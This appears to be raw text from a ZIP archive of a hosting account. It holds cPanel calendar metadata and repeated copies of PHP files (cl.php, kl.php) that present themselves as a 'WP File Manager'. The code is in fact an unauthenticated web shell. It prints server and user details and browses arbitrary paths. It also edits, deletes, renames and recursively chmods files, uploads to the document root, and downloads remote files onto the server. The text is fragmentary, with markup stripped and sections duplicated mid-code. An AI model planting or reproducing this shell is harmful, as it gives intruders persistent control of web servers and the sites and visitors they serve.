← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK’&{]RBBinfo@drsupernova.com/.metadatanu„[µü¤[addressbook] description Default Address Book automatically created for your account. displayname cPanel CardDAV Address Book protected 1 type VADDRESSBOOK [calendar] type VCALENDAR displayname cPanel CalDAV Calendar calendar-color #ff6c2c description Default Calendar automatically created for your account. protected 1 PK’&{]„N9³§Ë§Ëinfo@drsupernova.com/cl.phpnu„[µü¤ cllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK’&{]qÜd©Ë©Ëinfo@drsupernova.com/kl.phpnu„[µü¤ kllllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
